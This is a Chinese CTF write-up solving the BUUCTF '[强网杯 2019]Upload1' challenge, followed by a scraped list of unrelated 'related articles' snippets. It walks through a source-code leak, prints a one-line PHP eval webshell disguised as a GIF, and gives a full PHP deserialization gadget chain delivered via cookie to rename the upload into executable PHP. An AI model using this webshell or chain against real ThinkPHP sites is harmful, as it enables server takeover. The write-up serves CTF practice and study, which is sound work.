当前位置: 首页 > news >正文

62,【2】 BUUCTF WEB [强网杯 2019]Upload1

进入靶场

此处考点不是SQL,就正常注册并登录进去

先随便传一个

进行目录扫描,我先用爆破代替

先随便后面写个文件名

为了提供payload位置

www.tar.gz真的存在

返回浏览器修改url就自动下载了

看到tp5,应该是ThinkPHP5框架

参考此博客的思路方法c[强网杯 2019]Upload-CSDN博客

发现application

发现

断点

判断有没有注册

断点

看到login_check想到反序列化

都在提示我们用cookie传序列化字符串

上传部分也注意一下

<?php
// 命名空间声明
namespace app\web\controller;// 引入 think\Controller 类
use think\Controller;class Profile extends Controller
{// 定义类属性public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;// 构造函数public function __construct(){// 创建 Index 类的实例作为检查器$this->checker = new Index();// 使用客户端的 IP 地址生成一个唯一的上传目录名(通过 MD5 哈希)$this->upload_menu = md5($_SERVER['REMOTE_ADDR']);// 尝试切换到上级目录下的 public/upload 目录@chdir("../public/upload");// 如果该目录不存在,则创建该目录if (!is_dir($this->upload_menu)) {@mkdir($this->upload_menu);}// 切换到生成的上传目录@chdir($this->upload_menu);}// 处理图片上传的方法public function upload_img(){// 检查是否有检查器实例if ($this->checker) {// 调用检查器的 login_check 方法检查用户是否登录,如果未登录重定向到首页if (!$this->checker->login_check()) {$curr_url = "http://". $_SERVER['HTTP_HOST']. $_SERVER['SCRIPT_NAME']. "/index";$this->redirect($curr_url, 302);exit();}}// 检查是否有文件上传if (!empty($_FILES)) {// 获取上传文件的临时存储路径$this->filename_tmp = $_FILES['upload_file']['tmp_name'];// 将上传文件的名称进行 MD5 哈希并添加.png 后缀$this->filename = md5($_FILES['upload_file']['name']). ".png";// 调用文件扩展名检查方法$this->ext_check();}// 如果文件扩展名通过检查if ($this->ext) {// 检查文件是否为图片if (getimagesize($this->filename_tmp)) {// 将临时文件复制到最终存储位置@copy($this->filename_tmp, $this->filename);// 删除临时文件@unlink($this->filename_tmp);// 存储图片的完整路径$this->img = "../upload/$this->upload_menu/$this->filename";// 调用更新图片信息的方法$this->update_img();} else {// 如果文件不是图片,显示错误信息并重定向到首页$this->error('Forbidden type!', url('../index'));}} else {// 如果文件扩展名不通过检查,显示错误信息并重定向到首页$this->error('Unknow file type!', url('../index'));}}// 更新用户头像信息到数据库和 cookie 的方法public function update_img(){// 从数据库中查找用户信息$user_info = db('user')->where("ID", $this->checker->profile['ID'])->find();// 如果用户没有头像且存在新上传的头像if (empty($user_info['img']) && $this->img) {// 将头像信息更新到数据库中if (db('user')->where('ID', $user_info['ID'])->data(["img" => addslashes($this->img)])->update()) {// 更新 cookie 中的用户信息$this->update_cookie();// 显示成功信息并跳转到主页$this->success('Upload img successful!', url('../home'));} else {// 如果更新失败,显示错误信息并跳转到首页$this->error('Upload file failed!', url('../index'));}}}// 更新 cookie 中的用户信息public function update_cookie(){// 将头像信息更新到检查器的 profile 信息中$this->checker->profile['img'] = $this->img;// 将序列化并 base64 编码后的用户信息存储到 cookie 中,有效期 1 小时cookie("user", base64_encode(serialize($this->checker->profile)), 3600);}// 检查文件扩展名的方法public function ext_check(){// 将文件名按点分割,取最后一部分作为扩展名$ext_arr = explode(".", $this->filename);$this->ext = end($ext_arr);// 如果扩展名是 png,返回 1,否则返回 0if ($this->ext == "png") {return 1;} else {return 0;}}// 魔术方法 __get,用于获取不存在的属性public function __get($name){return $this->except[$name];}// 魔术方法 __call,用于调用不存在的方法public function __call($name, $arguments){if ($this->{$name}) {$this->{$this->{$name}}($arguments);}}
}

传个木马GIF89a<?php @eval($_POST['attack']);?>

得到图片路径

<img src="../upload/5e6f2693d111128ec4f1d7336f65b87f/956f92ddc6f28ffb49090277e0b57cf7.png" height="30" width="30">

<?phpnamespace app\web\controller;
error_reporting(0);
class Profile
{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __get($name){return $this->except[$name];}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}}class Register
{public $checker;public $registed;public function __destruct(){if(!$this->registed){$this->checker->index();}}}$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "./upload/5e6f2693d111128ec4f1d7336f65b87f/956f92ddc6f28ffb49090277e0b57cf7.png";
$profile->filename = "./upload/5e6f2693d111128ec4f1d7336f65b87f/956f92ddc6f28ffb49090277e0b57cf7.png";$register = new Register();
$register->registed = false;
$register->checker = $profile;echo urlencode(base64_encode(serialize($register)));

将代码运行赋值给cookie,并用蚁剑连接,就可得到flag

相关文章:

62,【2】 BUUCTF WEB [强网杯 2019]Upload1

进入靶场 此处考点不是SQL&#xff0c;就正常注册并登录进去 先随便传一个 进行目录扫描&#xff0c;我先用爆破代替 先随便后面写个文件名 为了提供payload位置 www.tar.gz真的存在 返回浏览器修改url就自动下载了 看到tp5,应该是ThinkPHP5框架 参考此博客的思路方法c[强网杯…...

Spring Boot 整合 ShedLock 处理定时任务重复执行的问题

&#x1f337; 古之立大事者&#xff0c;不惟有超世之才&#xff0c;亦必有坚忍不拔之志 &#x1f390; 个人CSND主页——Micro麦可乐的博客 &#x1f425;《Docker实操教程》专栏以最新的Centos版本为基础进行Docker实操教程&#xff0c;入门到实战 &#x1f33a;《RabbitMQ》…...

常见Arthas命令与实践

Arthas 官网&#xff1a;https://arthas.aliyun.com/doc/&#xff0c;官方文档对 Arthas 的每个命令都做出了介绍和解释&#xff0c;并且还有在线教程&#xff0c;方便学习和熟悉命令。 Arthas Idea 的 IDEA 插件。 这是一款能快速生成 Arthas命令的插件&#xff0c;可快速生成…...

Glide加载gif遇到的几个坑

Glide本身支持gif格式的动画加载&#xff0c;但是大多数情况下我们用Glide都是去加载一些静态图片&#xff0c;加载gif动态图的需求不是很多&#xff0c;因此这次使用Glide加载gif就遇到了一些令人匪夷所思的问题 问题一&#xff1a;加载gif图片会有明显的卡顿 通常情况下我们…...

STM32学习之通用定时器

1.1通用定时器介绍 通用定时器具有基本定时器的所有特征&#xff0c;基本定时器只能递增计数&#xff0c;而通用定时器可以递减计数&#xff0c;可以中心对齐计数&#xff1b;也可以触发ADC和DAC&#xff0c;同时在更新事件&#xff0c;触发事件&#xff0c;输入捕获&#xff…...

MiniMax-Text-01——模型详细解读与使用

MiniMax发布了最新的旗舰款模型&#xff0c;MiniMax-Text-01。这是一个456B参数的MOE模型&#xff0c;支持最大4M上下文。今天我们来解读一下这个模型&#xff0c;最后会讲一下模型的使用方式和价格。 先来看整体指标&#xff0c;以下图表分为三块指标&#xff0c;分别是文本能…...

Redis的Windows版本安装以及可视化工具

文章目录 redis安装redis安装包下载解压文件夹启动redis服务Redis路径配置环境变量打开redis客户端进行连接基础操作测试 redis可视化工具下载Redis Desktop Manager redis安装 redis安装包下载 windows版本readis下载&#xff1a;Releases tporadowski/redis 解压文件夹 我…...

tensorflow源码编译在C++环境使用

https://tensorflow.google.cn/install/source?hlzh-cn查看tensorflow和其他需要下载软件对应的版本&#xff0c;最好一模一样 1、下载TensorFlow源码 https://github.com/tensorflow/tensorflow 2、安装编译protobuf&#xff08;3.9.2&#xff09; protobuf版本要和TensorFlo…...

第四届机器学习、云计算与智能挖掘国际会议

一、会议信息 会议名称&#xff1a;第四届机器学习、云计算与智能挖掘国际会议&#xff08;MLCCIM 2025&#xff09;​​​​​​​ 会议地点&#xff1a;中国漠河 会议时间&#xff1a;2025年7月21-25日 支持单位&#xff1a;佛山市人工智能学会、佛山大学 二、大会主席 …...

#漏洞挖掘# 一文了解什么是Jenkins未授权访问!!!

免责声明 本教程仅为合法的教学目的而准备&#xff0c;严禁用于任何形式的违法犯罪活动及其他商业行为&#xff0c;在使用本教程前&#xff0c;您应确保该行为符合当地的法律法规&#xff0c;继续阅读即表示您需自行承担所有操作的后果&#xff0c;如有异议&#xff0c;请立即停…...

QT QListWidget控件 全面详解

本系列文章全面的介绍了QT中的57种控件的使用方法以及示例,包括 Button(PushButton、toolButton、radioButton、checkBox、commandLinkButton、buttonBox)、Layouts(verticalLayout、horizontalLayout、gridLayout、formLayout)、Spacers(verticalSpacer、horizontalSpacer)、…...

【Vim Masterclass 笔记25】S10L45:Vim 多窗口的常用操作方法及相关注意事项

文章目录 S10L45 Working with Multiple Windows1 水平分割窗口2 在水平分割的新窗口中显示其它文件内容3 垂直分割窗口4 窗口的关闭5 在同一窗口水平拆分出多个窗口6 关闭其余窗口7 让四个文件呈田字形排列8 光标在多窗口中的定位9 调节子窗口的尺寸大小10 变换子窗口的位置11…...

包文件分析器 Webpack Bundle Analyzer

webpack-bundle-analyzer 是一个非常有用的工具&#xff0c;用于可视化和分析 Webpack 打包生成的文件。这使得开发者能够更好地理解应用的依赖关系、包的大小&#xff0c;以及优化打包的机会。以下是关于 webpack-bundle-analyzer 的详细介绍&#xff0c;包括它的安装、使用以…...

代码随想录day14

二叉树的反转&#xff0c;采用迭代&#xff0c;只能用前序和后序遍历 /*** Definition for a binary tree node.* struct TreeNode {* int val;* TreeNode *left;* TreeNode *right;* TreeNode() : val(0), left(nullptr), right(nullptr) {}* TreeNode(i…...

react19新API之use()用法总结

React use() Hook 使用指南 概述 use() 是 React 19 引入的新 Hook&#xff0c;它允许你在组件内部直接使用 Promise、Context 和其他可订阅的值。它是一个更通用的数据获取和订阅机制。 基本语法 const value use(resource);主要用途 1. Promise 处理 function UserDet…...

67,【7】buuctf web [HarekazeCTF2019]Avatar Uploader 2(未完成版)

进入靶场 和上一题一母同胞&#xff0c;先把上一题的答案拖进去看看 区别在于上一题这块直接显示了flag&#xff0c;这里并没有 看看源码 加载不出来&#xff0c;ctrlu <!-- 上传头像的提示信息&#xff0c;说明上传要求 --><p>Please upload a PNG image less th…...

ANSYS HFSS 中的相控天线阵列仿真方法

概述 相控天线阵列系统广泛使用&#xff0c;从国防雷达应用到商业 5G 应用。设计这些天线阵列涉及复杂的数学运算&#xff0c;需要全波仿真。Ansys HFSS 全场 3D 电磁仿真软件可以在合理的时间内以较低的计算成本仿真复杂的相控阵天线系统&#xff0c;同时考虑复杂激励、环境&…...

stm32 L051 adc配置及代码实例解析

一 cude的设置&#xff1a; 1. 接口的基本设置&#xff1a; 2. 参数的设置&#xff1a; 二 代码的逻辑&#xff1a; 1. 上面的直接生成代码&#xff0c;然后使用下面源码即可读到adc的数据&#xff1a; void adc_battery_start(void) {uint32_t ADC_value 0;HAL_ADC_Start(&…...

KUKA示教器仿真软件OfficeLite8.6.2,EthernetKRL3.1.3通信

一、准备软件。 1、vmware17.6.1 2、OfficeLite8.6.2 3、EthernetKRL3.1.3 4、KUKA Router 5、EthernetKRL_Server 通过网盘分享的文件&#xff1a;库卡相关软件 链接: https://pan.baidu.com/s/1NwvR3RVP0edLBeZnnnCYvw 提取码: smys 二、安装vmware17.6.1 1、找到下载…...

Erlang语言的并发编程

Erlang语言的并发编程 引言 并发编程是现代软件开发中的一个重要领域&#xff0c;尤其是在面对需要高效处理大量任务的应用时。Erlang是一种专门设计用于并发编程的编程语言&#xff0c;由于其在电信和即时通信系统中的广泛应用&#xff0c;逐渐引起了开发者的关注。Erlang的…...

(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)

题目&#xff1a;3442. 奇偶频次间的最大差值 I 思路 &#xff1a;哈希&#xff0c;时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况&#xff0c;哈希表这里用数组即可实现。 C版本&#xff1a; class Solution { public:int maxDifference(string s) {int a[26]…...

idea大量爆红问题解决

问题描述 在学习和工作中&#xff0c;idea是程序员不可缺少的一个工具&#xff0c;但是突然在有些时候就会出现大量爆红的问题&#xff0c;发现无法跳转&#xff0c;无论是关机重启或者是替换root都无法解决 就是如上所展示的问题&#xff0c;但是程序依然可以启动。 问题解决…...

脑机新手指南(八):OpenBCI_GUI:从环境搭建到数据可视化(下)

一、数据处理与分析实战 &#xff08;一&#xff09;实时滤波与参数调整 基础滤波操作 60Hz 工频滤波&#xff1a;勾选界面右侧 “60Hz” 复选框&#xff0c;可有效抑制电网干扰&#xff08;适用于北美地区&#xff0c;欧洲用户可调整为 50Hz&#xff09;。 平滑处理&…...

C# 类和继承(抽象类)

抽象类 抽象类是指设计为被继承的类。抽象类只能被用作其他类的基类。 不能创建抽象类的实例。抽象类使用abstract修饰符声明。 抽象类可以包含抽象成员或普通的非抽象成员。抽象类的成员可以是抽象成员和普通带 实现的成员的任意组合。抽象类自己可以派生自另一个抽象类。例…...

【Oracle】分区表

个人主页&#xff1a;Guiat 归属专栏&#xff1a;Oracle 文章目录 1. 分区表基础概述1.1 分区表的概念与优势1.2 分区类型概览1.3 分区表的工作原理 2. 范围分区 (RANGE Partitioning)2.1 基础范围分区2.1.1 按日期范围分区2.1.2 按数值范围分区 2.2 间隔分区 (INTERVAL Partit…...

优选算法第十二讲:队列 + 宽搜 优先级队列

优选算法第十二讲&#xff1a;队列 宽搜 && 优先级队列 1.N叉树的层序遍历2.二叉树的锯齿型层序遍历3.二叉树最大宽度4.在每个树行中找最大值5.优先级队列 -- 最后一块石头的重量6.数据流中的第K大元素7.前K个高频单词8.数据流的中位数 1.N叉树的层序遍历 2.二叉树的锯…...

代理篇12|深入理解 Vite中的Proxy接口代理配置

在前端开发中,常常会遇到 跨域请求接口 的情况。为了解决这个问题,Vite 和 Webpack 都提供了 proxy 代理功能,用于将本地开发请求转发到后端服务器。 什么是代理(proxy)? 代理是在开发过程中,前端项目通过开发服务器,将指定的请求“转发”到真实的后端服务器,从而绕…...

nnUNet V2修改网络——暴力替换网络为UNet++

更换前,要用nnUNet V2跑通所用数据集,证明nnUNet V2、数据集、运行环境等没有问题 阅读nnU-Net V2 的 U-Net结构,初步了解要修改的网络,知己知彼,修改起来才能游刃有余。 U-Net存在两个局限,一是网络的最佳深度因应用场景而异,这取决于任务的难度和可用于训练的标注数…...

uniapp 实现腾讯云IM群文件上传下载功能

UniApp 集成腾讯云IM实现群文件上传下载功能全攻略 一、功能背景与技术选型 在团队协作场景中&#xff0c;群文件共享是核心需求之一。本文将介绍如何基于腾讯云IMCOS&#xff0c;在uniapp中实现&#xff1a; 群内文件上传/下载文件元数据管理下载进度追踪跨平台文件预览 二…...

【UE5 C++】通过文件对话框获取选择文件的路径

目录 效果 步骤 源码 效果 步骤 1. 在“xxx.Build.cs”中添加需要使用的模块 &#xff0c;这里主要使用“DesktopPlatform”模块 2. 添加后闭UE编辑器&#xff0c;右键点击 .uproject 文件&#xff0c;选择 "Generate Visual Studio project files"&#xff0c;重…...